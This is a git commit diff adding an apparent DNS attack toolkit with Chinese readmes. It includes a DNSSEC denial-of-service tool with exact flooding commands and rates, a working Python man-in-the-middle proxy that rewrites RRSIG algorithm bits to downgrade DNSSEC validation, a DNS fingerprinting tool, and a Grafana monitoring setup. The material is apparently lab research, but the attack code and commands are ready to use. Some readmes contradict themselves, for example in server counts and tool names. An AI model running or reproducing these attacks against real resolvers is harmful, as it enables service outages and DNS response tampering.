diff options
| -rw-r--r-- | att script/dnssec-ddos/ddos-topology.png | bin | 0 -> 461209 bytes | |||
| -rw-r--r-- | att script/dnssec-ddos/dtool | bin | 0 -> 9702192 bytes | |||
| -rw-r--r-- | att script/dnssec-ddos/rogue-ns | bin | 0 -> 6652077 bytes | |||
| -rw-r--r-- | att script/dnssec-ddos/说明.md | 73 | ||||
| -rw-r--r-- | att script/dnssec-downgrade/downgrade-topology.png | bin | 0 -> 37160 bytes | |||
| -rw-r--r-- | att script/dnssec-downgrade/proxy.py | 196 | ||||
| -rw-r--r-- | att script/dnssec-downgrade/说明.md | 52 | ||||
| -rw-r--r-- | monitor/dnssec/监控平台.md | 61 | ||||
| -rw-r--r-- | peishi/target_GZ/fpdns_client | bin | 0 -> 8183443 bytes | |||
| -rw-r--r-- | peishi/target_GZ/fpdns_server | bin | 0 -> 12494479 bytes | |||
| -rw-r--r-- | peishi/target_GZ/topology.png | bin | 0 -> 406448 bytes | |||
| -rw-r--r-- | peishi/target_GZ/说明.md | 66 |
12 files changed, 448 insertions, 0 deletions
diff --git a/att script/dnssec-ddos/ddos-topology.png b/att script/dnssec-ddos/ddos-topology.png Binary files differnew file mode 100644 index 0000000..846ff8c --- /dev/null +++ b/att script/dnssec-ddos/ddos-topology.png diff --git a/att script/dnssec-ddos/dtool b/att script/dnssec-ddos/dtool Binary files differnew file mode 100644 index 0000000..f6479fc --- /dev/null +++ b/att script/dnssec-ddos/dtool diff --git a/att script/dnssec-ddos/rogue-ns b/att script/dnssec-ddos/rogue-ns Binary files differnew file mode 100644 index 0000000..b01aec9 --- /dev/null +++ b/att script/dnssec-ddos/rogue-ns diff --git a/att script/dnssec-ddos/说明.md b/att script/dnssec-ddos/说明.md new file mode 100644 index 0000000..e385ad7 --- /dev/null +++ b/att script/dnssec-ddos/说明.md @@ -0,0 +1,73 @@ +## 使用说明 + +### 基本目标 + +通过向目标域名解析服务器发送特定请求,使目标服务器服务质量下降或无法提供服务,形成拒绝服务攻击。 + +### 软件环境 + +DNSSEC拒绝服务攻击中共需要4种软件,如下表所示,其中主要测试对象为目录中的拒绝服务攻击工具dtool和辅助攻击工具rogue-ns,dig工具用于从客户端发起DNS查询并查看解析结果,docker用于运行必要的DNS服务器和监控组件容器。 + +| 软件名称 | 版本 | 作用 | 备注 | +| ------- | ---- | ---- | ---- | +|拒绝服务攻击工具|v1.0|发送拒绝服务攻击请求|| +|辅助攻击工具|v1.0|辅助进行拒绝服务攻击|| +|dig|9.11.36|发起DNS查询并查看解析结果|| +|docker|24.0.5|安装必要容器|| + +### 硬件环境 + +测试中共需要三台服务器A,B和C。服务器均为公有云VPS,基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。 + +|硬件名称|数量|配置|作用| +|---|---|---|---| +|公有云VPS|3|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件| + +### 测试拓扑 + +测试拓扑如下图。 + + + +### 部署方法 + +#### 目标及监控部署 + +在服务器B上通过docker安装BIND9容器作为攻击目标,安装cadvisor,prometheus和grafana进行服务器B的状态监控。 + +#### 拒绝服务攻击工具部署 + +将可执行文件dtool移动到服务器A上。 + +#### 辅助攻击工具部署 + +将可执行文件rogue-ns移动到服务器C上。 + +### 使用方法 + +#### 辅助攻击工具 + +|参数|说明|示例| +|---|---|---| +|-sld|攻击中使用的二级域名|echodns.xyz| + +#### 拒绝服务攻击工具 + +|参数|说明|示例| +|---|---|---| +|query|攻击中使用的二级域名|echodns.xyz| +|-p|目标端口|53| +|-d|攻击中使用的域名后缀|rogue.echodns.xyz| +|-R|是否进行域名随机生成,布尔型参数|| +|-r|发送请求速率|100| +|-n|发送请求总量|10000| + + +### 测试方法 + +1. 在服务器B上启动BIND9容器; +2. 在服务器C上执行命令`./rogue-ns -sld echodns.xyz`,启动辅助攻击工具; +3. 在服务器A上执行命令`./dtool query {ip} -p 5353 -R -d rogue.jtfgzlm.icu -r 300 -n 60000`,启动拒绝服务攻击脚本向目标进行攻击; +4. 通过服务器B上3000端口的grafana仪表盘监控目标状态; +5. 在服务器A上使用dig向目标进行DNS查询,通过解析时延和超时情况判断攻击效果。 + diff --git a/att script/dnssec-downgrade/downgrade-topology.png b/att script/dnssec-downgrade/downgrade-topology.png Binary files differnew file mode 100644 index 0000000..4198831 --- /dev/null +++ b/att script/dnssec-downgrade/downgrade-topology.png diff --git a/att script/dnssec-downgrade/proxy.py b/att script/dnssec-downgrade/proxy.py new file mode 100644 index 0000000..8b7b7cf --- /dev/null +++ b/att script/dnssec-downgrade/proxy.py @@ -0,0 +1,196 @@ +# -*- coding: utf-8 -*- + +import socket +import dns.message +import dns.rdatatype +import dns.rdata +import dns.rdataclass +import binascii +import csv +import datetime + +from scapy.all import * + +#from crypto.PublicKey import Ed448 +#import dns.rdatatype + +# 定义代理服务器的地址和端口 +proxy_host = '10.0.8.14' # 代理服务器的IP地址 +proxy_port = 53 # 代理服务器的端口 +#proxy_port = 22 # 代理服务器的端口 + +# 定义上游DNS服务器的地址和端口 +upstream_host = '127.0.0.1' # 上游DNS服务器的IP地址 +upstream_port = 9999 # 上游DNS服务器的端口 + +csv_file = "dnssec_log.csv" + +def proxy_dns_request(request, client_addr, proxy_socket): + # 创建与上游DNS服务器的套接字连接 + upstream_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + + # 发送DNS请求到上游DNS服务器 + upstream_socket.sendto(request, (upstream_host, upstream_port)) + + # 接收上游DNS服务器的响应 + response, _ = upstream_socket.recvfrom(4096) + + # 修改DNS应答中的字段 + modified_response = modify_dns_response(response,client_addr,len(request)) + #modified_response = response + + # 将修改后的DNS应答发送给客户端 + #client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + #client_socket.sendto(modified_response, client_addr) + proxy_socket.sendto(modified_response, client_addr) + # print("finish",client_addr) + # 关闭套接字连接 + upstream_socket.close() + #client_socket.close() + +def modify_dns_response(response,client_addr,len_request): + # 在这里添加你的修改逻辑 + # 解析DNS应答消息,并修改需要的字段 + # 可以使用dnspython等DNS库来解析和构造DNS消息 + # print("response ",response) + dns_response = dns.message.from_wire(response) + # print("dns_response ",dns_response) + qweasd = 0 + + packet = DNS(response) + # 解析DNS流量 + if DNS in packet: + dns1 = packet[DNS] + if dns1.qd[0].qtype != 1: + print("************No Change************") + return response + if dns1.ancount > 0: + print("Answers:") + for an in dns1.an: + print(" Name:", an.rrname.decode()) + print(" Type:", an.type) + #print(" Data:", an.rdata) + + for rrset in dns_response.answer: + if rrset.rdtype == dns.rdatatype.RRSIG and qweasd == 0 : + qweasd = 1 + current_time = datetime.now() + # with open(csv_file, "a", newline="") as file: + # writer = csv.writer(file) + # writer.writerow([client_addr, len_request, current_time]) + # print("dnssec_log.csv:",csv_file) + # new_rdata = dns.rdata.from_text(rrset.rdclass, rrset.rdtype, rrset.to_text()) + # new_rdata.algorithm = 16 # 设置为 5 或其他你想要的值 + + # 替换原始 RRSIG 记录 + # rrset.clear() + # rrset.add(new_rdata) + # for attrr in dir(rrset): + # print(attrr) +# print("rdata.algorithm",rrset.algorithm) + # new_rdata = dns.rdatatype.from_text(rdtype_text.replace(dns.rdatatype.RSASHA1,dns.rdatatype.ED448)) + # rrset.items = new_rdata + # print(rrset.items) + # print(rrset[1]) +# print(bin(rrset.items[1])) + # for qwe in rrset: + #print(qwe) + #print(type(qwe)," key: ",qwe," qweqweqweqweqwe ") + # for attrr in dir(qwe): + # print(attrr) + # qwe.algorithm = 16 + # print(qwe.algorithm) + # 遍历DNS响应中的资源记录 + + modified_response = dns_response.to_wire() + binary_string = bin(int(binascii.hexlify(modified_response), 16)) + # print("len: ",len(binary_string),"\n",binary_string) + formatted_string = str(binary_string) + index = str(binary_string).find("01100101001000001101110000001111") + new_string = formatted_string[:index+1] + '0' + formatted_string[index+2:] + new_string = new_string[:index+2] + '1' + new_string[index+3:] + new_string = new_string[:index+3] + '0' + new_string[index+4:] + new_string = new_string[:index+4] + '0' + new_string[index+5:] + new_string = new_string[:index+5] + '1' + new_string[index+6:] + new_string = new_string[:index+6] + '0' + new_string[index+7:] + formatted_string = new_string[:index+7] + '1' + new_string[index+8:] + + # index = str(binary_string).find("0000010100000011") + index = str(binary_string).find("0000110100000011") + +# formatted_string = str(binary_string) + new_string = formatted_string[:index+1] + '1' + formatted_string[index+2:] + new_string = new_string[:index+2] + '1' + new_string[index+3:] + new_string = new_string[:index+3] + '1' + new_string[index+4:] + new_string = new_string[:index+4] + '0' + new_string[index+5:] + new_string = new_string[:index+5] + '0' + new_string[index+6:] + new_string = new_string[:index+6] + '0' + new_string[index+7:] + formatted_string = new_string[:index+7] + '0' + new_string[index+8:] + # print("len: ",len(formatted_string),"\n",formatted_string) + # print("index: ",formatted_string[index:]) + binary_string = formatted_string[2:] + binary_number = int(binary_string, 2) + formatted_string = binary_number.to_bytes((binary_number.bit_length() + 7) // 8, 'big') + # print("index: ",formatted_string) + try: + dns_response = dns.message.from_wire(formatted_string) + except: + modified_response = dns_response.to_wire() + # print(dns_response) + modified_response = dns_response.to_wire() + print("**********************************************************************************************************************") + return modified_response + +def start_proxy_server(): + # 创建代理服务器的套接字 + proxy_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + + # 将套接字绑定到代理服务器的地址和端口 + proxy_socket.bind((proxy_host, proxy_port)) + + # 循环监听客户端请求并代理流量 + + num = 1 + + print("START: ") + while True: + + print("start") + request, client_addr = proxy_socket.recvfrom(4096) + print("num: ",num) + num = num + 1 + try: + packet = DNS(request) + # 解析DNS流量 + if DNS in packet: + dns1 = packet[DNS] + if dns1.qdcount > 0: + print("Queries:") + for qd in dns1.qd: + print(" Query Name:", qd.qname.decode()) + print(" Query Type:", qd.qtype) + print(" Query Class:", qd.qclass) + query_current_time = datetime.now() + query_current_time = query_current_time.strftime("%H%M%S%f")[:-2] + # src = request[IP].src + print(" Query src:", client_addr) + print(" Query Current Time:", query_current_time) + tmp = qd.qname.decode() + if tmp[0] == "D": + with open("shiyan1_query", "a", newline="") as file: + writer = csv.writer(file) + writer.writerow([qd.qname.decode(), qd.qtype, qd.qclass, client_addr, query_current_time]) + print("finish") + except Exception as e: + print("error",str(e)) + + + + proxy_dns_request(request, client_addr, proxy_socket) + + # 关闭套接字连接 + proxy_socket.close() + + +# 启动代理服务器 +start_proxy_server() diff --git a/att script/dnssec-downgrade/说明.md b/att script/dnssec-downgrade/说明.md new file mode 100644 index 0000000..538b7db --- /dev/null +++ b/att script/dnssec-downgrade/说明.md @@ -0,0 +1,52 @@ +## 使用说明 + +### 基本目标 + +使目标DNS解析器不对DNSSEC记录进行验证,实现针对DNSSEC的降级攻击 + +### 软件环境 + +DNSSEC降级攻击中共需要四种软件,如下表所示,其中主要测试对象为目录中的DNSSEC绕过工具脚本proxy.py,BIND9用于搭建权威服务器和递归解析器,dig工具用于从客户端发起DNS查询并查看解析结果,python用于运行DNSSEC绕过工具。 + +| 软件名称 | 版本 | 作用 | 备注 | +| ------- | ---- | ---- | ---- | +|DNSSEC绕过工具|v1.0|实现中间人篡改功能|proxy.py| +|BIND9|9.18.2|搭建权威服务器和递归解析器|| +|dig|9.11.36|发起DNS查询并查看解析结果|| +|python|3.7.2|运行DNSSEC绕过工具|| + +### 硬件环境 + +测试中共需要三台服务器A和B。服务器A和B均为公有云VPS,基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。 + +|硬件名称|数量|配置|作用| +|---|---|---|---| +|公有云VPS|2|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件| + +### 测试拓扑 + +测试拓扑如下图。 + + + +### 部署方法 + +#### BIND9部署 + +在服务器B上安装并配置BIND9作为权威服务器,并进行权威域的DNSSEC配置。 +在服务器A上安装并配置BIND9作为递归解析器,开启DNSSEC验证功能。 + +#### DNSSEC绕过工具部署 + +在服务器B上安装python3,将proxy.py脚本移动到服务器上。 + +### 工具使用方法 + +DNSSEC绕过工具无输入参数,直接通过`python3 proxy.py`运行。 + +### 测试方法 + +1. 在服务器B上启动权威服务器,监听9999端口; +2. 在服务器B上执行python3 proxy.py命令,启动DNSSEC绕过工具; +3. 在服务器A上使用dig向本地的递归解析器查询ns3.jtfgzlm.icu,通过解析结果验证DNSSEC降级攻击效果 + diff --git a/monitor/dnssec/监控平台.md b/monitor/dnssec/监控平台.md new file mode 100644 index 0000000..cb46559 --- /dev/null +++ b/monitor/dnssec/监控平台.md @@ -0,0 +1,61 @@ +# 监控平台 + +cadvisor+Prometheus+Grafana + +CAdvisor + +监控宿主机和容器的基本状态指标,包括CPU,内存,网络情况等,本身只保存2分钟的数据,长时间的监控需要结合Prometheus,开放8080端口提供前端界面,同时实现了metrics接口来配合Prometheus使用。 + +CAdvisor部署后可能出现cpu指标为零的情况,需要在启动CAdvisor时设置`—enable_load_reader`选项,使用容器部署时需要注意将网络模式设置为host模式。 + +镜像部署命令 + +```纯文本 +sudo docker run --volume=/:/rootfs:ro \ + --volume=/var/run:/var/run:ro \ + --volume=/sys:/sys:ro \ + --volume=/var/lib/docker/:/var/lib/docker:ro \ + --volume=/dev/disk/:/dev/disk:ro \ + --detach=true --name=cadvisor --privileged \ + --device=/dev/kmsg --network=host \ + google/cadvisor --enable_load_reader=true +``` + +Prometheus + +Prometheus内置了时序数据库TSDB,也有自己的数据库查询语言PromQL,通过Prometheus可以更好的处理时序监控数据。开放9090端口提供前端页面。 + +CAdvisor实现了符合Prometheus格式的/metrics,所以Prometheus可以直接获取CAdvisor的监测数据,配置文件内容如下,定义了一个从CAdvisor获取数据的任务,127.0.0.1:8080为CAdvisor提供接口地址,Prometheus会以每秒一次的频率从http\://127.0.0.1:8080/metrics获取数据。 + +```纯文本 +global: + scrape_interval: 1s + evaluation_interval: 1s +rule_files: +scrape_configs: + - job_name: 'cadvisor' + static_configs: + - targets: ['127.0.0.1:8080'] +``` + +镜像部署命令 + +```纯文本 +docker run -d --name=prometheus \ + -v [配置文件路径]:/etc/prometheus/prometheus.yml \ + --network=host prom/prometheus +``` + +Grafana + +接入Prometheus监控数据实现自定义可视化方式,前端服务端口为3000。默认用户密码为admin:admin。 + +镜像部署命令 + +```纯文本 +docker run -d --name=grafana --network=host grafana/grafana +``` + +容器部署后,访问并登录grafana,首先需要配置数据源datasource,从左上角菜单种选择connections,从中选取prometheus数据源进行配置,配置URL和数据获取频率等后点击测试并保存。使用所内网络进行grafana部分操作时可能会出现奇怪的错误,更换手机热点等其他网络可以解决。 + +数据源配置完成后就可以在dashboard种自定义仪表盘进行可视化监控,自行选择监控指标进行设计。 diff --git a/peishi/target_GZ/fpdns_client b/peishi/target_GZ/fpdns_client Binary files differnew file mode 100644 index 0000000..a2c49bb --- /dev/null +++ b/peishi/target_GZ/fpdns_client diff --git a/peishi/target_GZ/fpdns_server b/peishi/target_GZ/fpdns_server Binary files differnew file mode 100644 index 0000000..39c6a48 --- /dev/null +++ b/peishi/target_GZ/fpdns_server diff --git a/peishi/target_GZ/topology.png b/peishi/target_GZ/topology.png Binary files differnew file mode 100644 index 0000000..265d903 --- /dev/null +++ b/peishi/target_GZ/topology.png diff --git a/peishi/target_GZ/说明.md b/peishi/target_GZ/说明.md new file mode 100644 index 0000000..73419c5 --- /dev/null +++ b/peishi/target_GZ/说明.md @@ -0,0 +1,66 @@ +## 使用说明 + +### 基本目标 + +通过主动探测精确感知目标DNS服务的各项参数。 + +### 软件环境 + +目标感知中共需要3种软件,如下表所示,其中主要测试对象为目录中的目标感知工具fpdns_client和辅助感知工具fpdns_server,BIND9递归解析器作为感知目标。 + +| 软件名称 | 版本 | 作用 | 备注 | +| ------- | ---- | ---- | ---- | +|目标感知工具|v1.0|发送拒绝服务攻击请求|| +|辅助感知工具|v1.0|辅助进行拒绝服务攻击|| +|BIND9|9.11.36|作为感知目标|| + +### 硬件环境 + +测试中共需要2台服务器A和B。服务器均为公有云VPS,基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。 + +|硬件名称|数量|配置|作用| +|---|---|---|---| +|公有云VPS|2|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件| + +### 测试拓扑 + +测试拓扑如下图。 + + + +### 部署方法 + +#### 感知目标部署 + +在服务器A上安装BIND9,设置模式为递归解析模式。 + +#### 目标感知工具部署 + +将可执行文件fpdns_client移动到服务器A上。 + +#### 辅助感知工具部署 + +将可执行文件fpdns_server移动到服务器C上。 + +### 使用方法 + +#### 辅助感知工具 + +|参数|说明|示例| +|---|---|---| +|-sld|感知中使用的二级域名|echodns.xyz| + +#### 拒绝服务攻击工具 + +|参数|说明|示例| +|---|---|---| +|-target|感知目标的IP地址|1.2.3.4| + + +### 测试方法 + +1. 在服务器A上启动BIND9递归解析器; +2. 在服务器B上执行命令`./fpdns_server -sld echodns.xyz`,启动辅助感知工具; +3. 在服务器A上执行命令`./dtool -target {ip}`,进行目标感知 +4. 等待感知完毕,通过输出结果判断感知效果 + |
